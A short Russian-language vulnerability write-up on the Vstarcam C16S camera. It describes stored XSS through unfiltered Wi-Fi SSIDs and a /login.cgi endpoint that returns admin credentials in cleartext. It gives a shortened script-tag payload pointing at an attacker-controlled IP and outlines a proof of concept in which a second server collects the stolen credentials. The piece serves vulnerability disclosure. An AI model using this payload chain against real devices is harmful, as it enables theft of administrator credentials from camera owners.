В камере vstarcam-c16s существует возможность беспроводного подключения к сети. Имена точек доступа никак не фильтруются, что сразу приводит нас к хранимой XSS. Из интересных особенностей, SSID точки доступа имеет максимальную длинну в 32 символов, поэтому пришлось ужать тег script до <script src=//YOUR_IP/ />
и поднять собственный веб сервер, который на любой запрос отвечает специальным пэйлоадом.
Так же в камере обращение на эндпоинт /login.cgi
возвращает логин и пароль в cleartext. Используя комбинацию двух вышеприведенных уязвимостей можно получить учетные данные администратора, если он нажмет кнопку поиска беспроводных сетей.
В качестве PoC'а было запущено 2 маленьких веб-сервера, один для отправки основного xss пэйдлада, второй для приема данных, а также с телефона была поднята wifi-точка с ip хоста с запущенными серверами <script src=//192.168.2.191/ />
.
По нажатию кнопки scan, учетные данные администратора отобразятся в cred_handler.py